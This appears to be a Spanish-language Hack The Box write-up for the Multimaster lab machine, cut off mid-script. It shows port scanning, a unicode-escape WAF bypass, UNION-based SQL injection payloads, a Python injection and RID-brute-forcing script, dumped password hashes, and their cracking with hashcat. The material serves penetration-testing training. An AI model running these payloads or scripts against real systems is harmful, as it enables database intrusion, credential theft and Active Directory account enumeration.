Posts Hackthebox Multimaster Writeup (OSCP Style)
Post
Cancel

Hackthebox Multimaster Writeup (OSCP Style)

Información de la máquina.

ContenidoDescripción
OS:enter image description here
Dificultad:Insana
Puntos:50
Lanzamiento:07-Marzo-2020
IP:10.10.10.179
Primera sangre de usuario:haqpl
Primera sangre de system:snowscan
Creadores:MinatoTW & egre55

Reconocimiento.

Como siempre comenzaremos con un escaneo a los 65535 puertos para descubrir cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts multimaster.htb --min-rate 3000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 23:39 CDT
Nmap scan report for multimaster.htb (10.10.10.179)
Host is up (0.17s latency).
Not shown: 65513 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
49666/tcp open  unknown
49669/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49681/tcp open  unknown
49692/tcp open  unknown
49701/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 44.28 seconds
ParámetroDescripción
-p-Escanea los 65535 puertos de la máquina.
–openMuestra solo los puertos abiertos.
-T5Velocidad del escaneo muy agresiva.
-nDesactivar la resolución de nombres DNS.
-oGExportar escaneo en formato grepeable.
–min-ratePaquetes por segundo.

Una vez identificado los puertos abiertos, lanzaré scripts de enumeración para detectar los servicios y versiones de los puertos descubiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
intrusionz3r0@kali:~$ nmap -sCV -p53,80,88,135,139,389,445,464,636,3268,3269,3389,5985,9389,49674,49675,49681,49701,49748 -oN targeted multimaster.htb
Nmap scan report for multimaster.htb (10.10.10.179)
Host is up (0.73s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: MegaCorp
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-08-15 19:52:51Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGACORP)
464/tcp   open  kpasswd5?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2020-08-14T16:51:23
|_Not valid after:  2021-02-13T16:51:23
|_ssl-date: 2020-08-15T19:56:43+00:00; +6m51s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
49748/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=8/15%Time=5F383B76%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6m50s, deviation: 0s, median: 6m49s
| smb2-security-mode: 
|   2.10: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-08-15T19:55:38
|_  start_date: 2020-08-15T16:51:28

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 15 14:52:32 2020 -- 1 IP address (1 host up) scanned in 410.87 seconds
ParámetroDescripción
-sCVEs la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios.
-pEspecifica los puertos a enumerar.
-oNExporta el escaneo en formato nmap.

Se que son demasiados puertos pero no te preocupes, siempre que tengas demasiados puertos te recomiendo que comiences por los puertos más comunes, en este caso comenzaré por enumerar los servicios samba.

Enumeración samba.

1
2
3
4
5
6
intrusionz3r0@kali:~$ smbclient -L multimaster.htb -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available
1
2
intrusionz3r0@kali:~$ smbmap -H multimaster.htb -u "null"
[!] Authentication error on multimaster.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
intrusionz3r0@kali:~$ enum4linux -U multimaster.htb -u "null" 
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Aug 18 23:46:06 2020

 ========================== 
|    Target Information    |
 ========================== 
Target ........... multimaster.htb
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ======================================================= 
|    Enumerating Workgroup/Domain on multimaster.htb    |
 ======================================================= 
[E] Can't find workgroup/domain


 ======================================== 
|    Session Check on multimaster.htb    |
 ======================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server multimaster.htb allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name: 

 ============================================== 
|    Getting domain SID for multimaster.htb    |
 ============================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: MEGACORP
Domain Sid: S-1-5-21-3167813660-1240564177-918740779
[+] Host is part of a domain (not a workgroup)

 ================================ 
|    Users on multimaster.htb    |
 ================================ 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
enum4linux complete on Tue Aug 18 23:46:24 2020
1
2
intrusionz3r0@kali:~$ cme smb multimaster.htb                               
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)

Cosas que destacan en la enumeración samba:

  • OS: Windows Server 2016 Standard 14393 x64
  • Dominio: MEGACORP.LOCAL

No logramos sacar mucha información, así que vamos a por el servicio http.

Enumeración HTTP.

Cuando entro al servicio http me encuentro con lo siguiente:

Es una página web estática, no hay mucho que ver.

Encontramos un login, pero cuando intento probar unas credenciales en este caso admin:admin me salta el siguiente mensaje:

Consejo: Siempre que te encuentres con un panel de login recomiendo que intentes probar contraseñas por defecto, inyecciones SQL y por último puedes realizar un ataque de fuerza bruta con diccionarios de SQLi para intentar lograr un bypass al login.

Consejo: Recomiendo también mirar el código fuente, ya que en máquinas estilo CTF puedes encontrar cosas interesantes.

Aprovecharé para comenzar a fuzzear la página web para ver si podemos encontrar algunas rutas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
intrusionz3r0@kali:~$ wfuzz -c --hc 403,404 -t 200 -w /usr/share/wordlists/dirb/big.txt http://multimaster.htb/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://multimaster.htb/FUZZ
Total requests: 20469

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                 
===================================================================


Total time: 87.09734
Processed Requests: 20469
Filtered Requests: 20469
Requests/sec.: 235.0129

Consejo: Te recomiendo que siempre realices fuzzing a todo lo que encuentres ya sea que encuentres otra ruta siempre vuelve a hacer fuzzing hasta que ya no quede nada, también puedes agregar extensiones comunes de archivos, fuzzear subdominios, parámetros, parámetros con diccionarios de LFI, pero siempre siempre siempre has fuzzing hasta que ya no quede nada más.

Descubriendo vulnerabilidad de SQL inyección.

Lo último que nos queda es la siguiente funcionalidad:

Parece ser que esto realiza una petición a una base de datos para poder obtener los nombres y mostrarlos.

Esto nos devuelve una gran cantidad de usuarios.

Comenzaremos a testear está funcionalidad. Cosas que intente:

  • Revisar si era vulnerable a XSS.
  • Causar un error de sintaxis de SQLi.
  • Intentar probar si podía aprovecharme de esa función para poder obtener información interna del servidor.

Nada funcionaba, hasta que leí en el foro de hackthebox de que había que saltar un WAF.

¿Que es WAF?

Un firewall de aplicaciones web es un tipo de firewall que supervisa, filtra o bloquea el tráfico HTTP hacia y desde una aplicación web. Se diferencia de un firewall normal en que puede filtrar el contenido de aplicaciones web específicas,

Esto me dio una pista, así que me puse a probar muchas formas de bypassear un waf hasta que di con la correcta.

La forma de lograr nuestro cometido era encodeando nuestra inyección en unicode-escape

Intercepto la petición con burpsuite y cuando envió el payload recibimos una respuesta nula.

Esto nos da a entender que es vulnerable a SQL inyección, ahora debemos iterar en el numero de columnas hasta dar con la inyección correcta.

Bien, al parecer hemos dado con la estructura correcta y ahora somos capaces de poder extraer información de la base de datos.

Para hacerlo mas divertido vamos a construirnos una utilidad en python.

Creación de Script para SQL Inyección.

Importamos las librerías a utilizar y la cabecera.

1
2
3
4
#!/usr/bin/env python3
#Author: Intrusionz3r0

import requests,sys,signal,json

Utilizamos la librería signal para manejar la salida del programa.

1
2
3
4
5
def handler(key,frame):
	print("Adios!!")
	sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)

Definimos el método que se encargará de decodificar nuestra inyección.

1
2
3
4
5
6
7
8
9
10
def encodeText(texto): 
	textoF = [] #Creamos una lista.

	for x in texto:
		char = hex(ord(x)) #Cada carácter lo convierte en hexadecimal.
		char = char.replace("0x","\\u00") #Remplazamos el 0x con \\u00.
		textoF.append(char) #Lo agregamos a la lista textoF[]

	textoF = "".join(textoF) #Unimos toda la lista en una sola cadena de texto.
	return textoF #Retornamos la cadena.

Definimos el método para enviar la inyección.

1
2
3
4
5
6
7
def sqli(inyeccion):

	url = 'http://multimaster.htb/api/getColleagues' #Definimos la url.
	headers = {'Content-Type': 'application/json; charset=utf-8'} #Definimos el header.
	r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers) #Hacemos la petición.
	parsed = json.loads(r1.text) #Cargamos el JSON.
	return (json.dumps(parsed, indent=4, sort_keys=True)) #Devolvemos el JSON con su estructura original

Por ultimo solo creamos nuestro método main.

1
2
3
4
5
if __name__ == "__main__":

	while True: #Bucle Infinito.
		inyeccion = input('intrusionz3r0@kali:~$ ') #Leemos por consola.
		print(sqli(encodeText(inyeccion))) #Imprimimos la salida.

Script completo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
#Author: Intrusionz3r0

import requests,sys,signal,json


def handler(key,frame):
	print("Adios!!")
	sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)


def encodeText(texto): 
	textoF = []

	for x in texto:
		char = hex(ord(x))
		char = char.replace("0x","\\u00")
		textoF.append(char)

	textoF = "".join(textoF)
	return textoF

def sqli(inyeccion):

	url = 'http://multimaster.htb/api/getColleagues'
	headers = {'Content-Type': 'application/json; charset=utf-8'}
	r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers)
	parsed = json.loads(r1.text)
	return (json.dumps(parsed, indent=4, sort_keys=True))


if __name__ == "__main__":

	while True:
		inyeccion = input('intrusionz3r0@kali:~$ ')
		print(sqli(encodeText(inyeccion)))

enter image description here

Ahora si podemos enumerar la base de datos mas cómodamente.

Enumeración de la base de datos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
intrusionz3r0@kali:~$ a'union select 1,schema_name,3,4,5 from information_schema.schemata-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "db_accessadmin",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_backupoperator",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_datareader",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_datawriter",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_ddladmin",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_denydatareader",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_denydatawriter",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_owner",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "db_securityadmin",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "dbo",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "guest",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "INFORMATION_SCHEMA",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "sys",
        "position": "3",
        "src": "5"
    }
]

Yo iré al grano, me iré rápidamente a la base de datos que contiene información valiosa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
intrusionz3r0@kali:~$ a'union select 1,table_name,3,4,5 from information_schema.tables where table_schema='dbo'-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "Colleagues",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "Logins",
        "position": "3",
        "src": "5"
    }
]
intrusionz3r0@kali:~$ a'union select 1,column_name,3,4,5 from information_schema.columns where table_name='Logins'-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "id",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "password",
        "position": "3",
        "src": "5"
    },
    {
        "email": "4",
        "id": 1,
        "name": "username",
        "position": "3",
        "src": "5"
    }
]

Vamos dumpear la información.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
intrusionz3r0@kali:~$ a'union select 1,id,username,password,5 from Logins-- -
[
    {
        "email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
        "id": 1,
        "name": "1",
        "position": "sbauer",
        "src": "5"
    },
    {
        "email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
        "id": 1,
        "name": "2",
        "position": "okent",
        "src": "5"
    },
    {
        "email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
        "id": 1,
        "name": "3",
        "position": "ckane",
        "src": "5"
    },
    {
        "email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
        "id": 1,
        "name": "4",
        "position": "kpage",
        "src": "5"
    },
    {
        "email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
        "id": 1,
        "name": "5",
        "position": "shayna",
        "src": "5"
    },
    {
        "email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
        "id": 1,
        "name": "6",
        "position": "james",
        "src": "5"
    },
    {
        "email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
        "id": 1,
        "name": "7",
        "position": "cyork",
        "src": "5"
    },
    {
        "email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
        "id": 1,
        "name": "8",
        "position": "rmartin",
        "src": "5"
    },
    {
        "email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
        "id": 1,
        "name": "9",
        "position": "zac",
        "src": "5"
    },
    {
        "email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
        "id": 1,
        "name": "10",
        "position": "jorden",
        "src": "5"
    },
    {
        "email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
        "id": 1,
        "name": "11",
        "position": "alyx",
        "src": "5"
    },
    {
        "email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
        "id": 1,
        "name": "12",
        "position": "ilee",
        "src": "5"
    },
    {
        "email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
        "id": 1,
        "name": "13",
        "position": "nbourne",
        "src": "5"
    },
    {
        "email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
        "id": 1,
        "name": "14",
        "position": "zpowers",
        "src": "5"
    },
    {
        "email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
        "id": 1,
        "name": "15",
        "position": "aldom",
        "src": "5"
    },
    {
        "email": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
        "id": 1,
        "name": "16",
        "position": "minatotw",
        "src": "5"
    },
    {
        "email": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
        "id": 1,
        "name": "17",
        "position": "egre55",
        "src": "5"
    }
]

Crackeando los hashes.

Rápidamente creo una lista con los hashes y usuarios que acabamos de descubrir.

Copio un hash y lo pego en la herramienta hash-identifier.

Realizo un búsqueda de los cifrados disponibles en hashcat y comienzo a probar.

1
2
3
4
intrusionz3r0@kali:~$ hashcat -h | grep 384
  10800 | SHA2-384                                         | Raw Hash
  17500 | SHA3-384                                         | Raw Hash
  17900 | Keccak-384                                       | Raw Hash
1
2
3
4
intrusionz3r0@kali:~$ sudo hashcat -m 17500 passwords.txt /usr/share/wordlists/rockyou.txt --outfile cred.txt --force
fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1
9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1

¡¡Eureka!!

Ahora que tenemos unas contraseñas podemos realizar un ataque de fuerza bruta utilizando CrackMapExec para poder ver si damos con unas credenciales validas.

¡¡Mierda!!

No hemos dado con ningunas credenciales.

enter image description here

Enumeración del controlador de dominio vía SQL inyección.

Después de un tiempo encontré el siguiente artículo: Hacking SQL Server: Enumerating Domain Accounts. En resumen nosotros podemos enumerar las cuentas de un dominio de active directory realizando fuzzing al identificador RID.

¿Que es el RID?

El RID es un identificador único e incremental que se le asigna a un objeto en un directorio activo, por lo que cada uno de los usuarios de dominio, grupos y equipos tienen un identificador propio.

Comenzaremos obteniendo el nombre de dominio. (Aunque ya lo sabemos es por cuestiones de aprendizaje)

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,(SELECT DEFAULT_DOMAIN()),3,4,5-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "MEGACORP",
        "position": "3",
        "src": "5"
    }
]

Luego tendremos que colocar una cuenta de prueba, en este caso Domain Admins ya que es una cuenta muy común y sabemos sin dudar que existe.

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,(SELECT SUSER_SID('MEGACORP\Domain Admins')),3,4,5-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "\u0001\u0005\u0000\u0000\u0000\u0000\u0000\u0005\u0015\u0000\u0000\u0000\u001c\u0000\u00d1\u00bc\u00d1\u0081\u00f1I+\u00df\u00c26\u0000\u0002\u0000\u0000",
        "position": "3",
        "src": "5"
    }
]

Esto debería arrojarnos el RID pero lamentablemente nos lo devuelve codificado, pero no te preocupes podemos utilizar la función sys.fn_varbintohexstr de SQL Server para decodificar esto.

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,sys.fn_varbintohexstr((SELECT SUSER_SID('MEGACORP\Domain Admins'))),3,4,5-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "0x0105000000000005150000001c00d1bcd181f1492bdfc23600020000",
        "position": "3",
        "src": "5"
    }
]

Después utilizamos la función UPPER para convertir la consulta en mayúsculas.

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,UPPER(sys.fn_varbintohexstr((SELECT SUSER_SID('MEGACORP\Domain Admins')))),3,4,5-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "0X0105000000000005150000001C00D1BCD181F1492BDFC23600020000",
        "position": "3",
        "src": "5"
    }
]

Ahora que tenemos el RID podemos extraer el SID del dominio tomando los primeros 48 bytes.

¿Que es SID?

El SID de dominio es el identificador único del dominio y la base de cada RID completo.

  • SID + RID: 0X0105000000000005150000001C00D1BCD181F1492BDFC23600020000

  • SID: 0X0105000000000005150000001C00D1BCD181F1492BDFC236 00020000

  • RID: 0X0105000000000005150000001C00D1BCD181F1492BDFC236 00020000

Nuestro trabajo será fuzzear en los 8 últimos bytes para poder enumerar las cuentas del directorio activo, pero no sera tan facil ya que cada numero debe estar en hexadecimal y debe ser convertido en un formato que SQL Server sea capaz de interpretar.

Por ejemplo:

Número: 500

Hex: 0x1F4

Paso 1: 01F4 (500)

Paso 2: F401 (Formato correcto) (Invertido)

Paso 3: F4010000 (Colocamos el relleno para completar los bytes)

Paso 4: Lo concatenamos con el SID base.

Pero la pregunta es: ¿Después de obtener todos los RID de las cuentas de dominio que sigue?

Pues utilizar la función SUSER_SNAME para obtener el nombre identificativo.

1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,(SELECT SUSER_SNAME(0X0105000000000005150000001C00D1BCD181F1492BDFC23600020000)),3,4,5-- -
[
    {
        "email": "4",
        "id": 1,
        "name": "MEGACORP\\Domain Admins",
        "position": "3",
        "src": "5"
    }
]

Asi lograremos obtener una gran lista de muchas cuentas del Active directory.

Para lograr esto vamos a actualizar nuestra herramienta.

Actualizando el script.

Creamos una variable global que almacene el SID del dominio e importamos la librería re y pwn.

1
2
3
import re
from pwn import  *
SID = "0X0105000000000005150000001C00D1BCD181F1492BDFC236"

Definimos el método que se encargará de fuzzear.

1
2
3
4
5
6
7
8
9
10
def fuzzing(num):

	array=[] #Creamos una lista.
	hexn = hex(num) #Convertimos el numero en hexadecimal.
	hexn = hexn.replace("x","") #Eliminamos el carácter X.
	for char in str(hexn): #Recorremos cada dígito del número.
		array.append(char) #Cada dígito lo guardamos en la lista.

	ID = str(array[2]+array[3]+array[0]+array[1]) #Invertimos el numero y lo convertimos en un formato entendible para SQL Server.
	return str(ID+"0000") #Por último lo retornamos.

Creó un nuevo método de enviar la inyección.

1
2
3
4
5
6
def sqlif(inyeccion):
	url = 'http://multimaster.htb/api/getColleagues' #Definimos la url.
	headers = {'Content-Type': 'application/json; charset=utf-8'} #Definimos el header.
	r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers) #Enviamos la petición.
	regex = re.findall(r'(?P<jamon>\w*[A-Z]\\\\\w*)',r1.text) #Utilizamos la libreria re pata filtrar solo lo que nos interesa de la respuesta.
	return regex #Retornamos la respuesta final.

Por último actualizamos nuestro método main.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if __name__ == "__main__":

	if(len(sys.argv) == 2): #Si recibe dos parametros entra aquí.
		inyeccion = sys.argv[1] #Si solo enviamos un parámetro realizara una inyección.
		print(sqli(encodeText(inyeccion))) #Retorna la inyección


	elif(len(sys.argv)==3): #Si recibe tres parámetros entra aquí.
		p1 = log.progress("Enumeración")
		p1.status("Buscando cuentas de dominio.")
		print("\nSID: " + SID + "\n")
		
		#Recibe dos parámetros
		min = sys.argv[1] #De que número va a empezar a fuzzear.
		max = sys.argv[2] #A que número finaliza. 

		for num in range(int(min),int(max)): #Definimos un for con los rangos que le dimos.
			RID = SID + fuzzing(num) #Obtenemos el RID completo.
			inyeccion = "-' union select 1,(SELECT SUSER_SNAME({})),3,4,5--".format(RID) #Realizamos la inyección que nos devolvera los nombres de cuentas de usuarios del Controlador de dominio.
			if( len(sqlif(encodeText(inyeccion))) != 0 ): #Si la longitud de la respuesta es diferente de 0 entra aquí.
				print("Usuario encontrado: " + str(sqlif(encodeText(inyeccion))[0])) #Me imprime el nombre de usuario.


		p1.success("Proceso Finalizado")

	elif(len(sys.argv) != 2 or len(sys.argv) != 3): #Si no es ninguna de los if de arriba entra aquí. (Panel de ayuda)
		log.info("Uso: python3 {} <Inyeccion>".format(sys.argv[0]))
		log.info("Uso: python3 {} <Min> <Max>".format(sys.argv[0]))
		sys.exit(0)

Script completo: multimasterAttack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
#Author: Intrusionz3r0

import requests,sys,signal,json,re
from pwn import *

SID = "0X0105000000000005150000001C00D1BCD181F1492BDFC236"

def handler(key,frame):
	print("Adios!!")
	sys.exit(0)

signal = signal.signal(signal.SIGINT,handler)


def fuzzing(num):

	array=[]
	hexn = hex(num)
	hexn = hexn.replace("x","")
	for char in str(hexn):
		array.append(char)

	ID = str(array[2]+array[3]+array[0]+array[1])
	return str(ID+"0000")

def encodeText(texto):
	textoF = []

	for x in texto:
		char = hex(ord(x))
		char = char.replace("0x","\\u00")
		textoF.append(char)

	textoF = "".join(textoF)
	return textoF

def sqli(inyeccion):

	url = 'http://multimaster.htb/api/getColleagues'
	headers = {'Content-Type': 'application/json; charset=utf-8'}
	r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers)
	parsed = json.loads(r1.text)
	return (json.dumps(parsed, indent=4, sort_keys=True))


def sqlif(inyeccion):

	url = 'http://multimaster.htb/api/getColleagues'
	headers = {'Content-Type': 'application/json; charset=utf-8'}
	r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers)
	regex = re.findall(r'(?P<jamon>\w*[A-Z]\\\\\w*)',r1.text)
	return regex


if __name__ == "__main__":

	if(len(sys.argv) == 2):
		inyeccion = sys.argv[1]
		print(sqli(encodeText(inyeccion)))


	elif(len(sys.argv)==3):
		p1 = log.progress("Enumeración")
		p1.status("Buscando cuentas de dominio.")
		print("\nSID: " + SID + "\n")

		min = sys.argv[1]
		max = sys.argv[2]

		for num in range(int(min),int(max)):
			RID = SID + fuzzing(num)
			inyeccion = "-' union select 1,(SELECT SUSER_SNAME({})),3,4,5--".format(RID)
			if( len(sqlif(encodeText(inyeccion))) != 0 ):
				print("Usuario encontrado: " + str(sqlif(encodeText(inyeccion))[0]))


		p1.success("Proceso Finalizado")

	elif(len(sys.argv) != 2 or len(sys.argv) != 3):
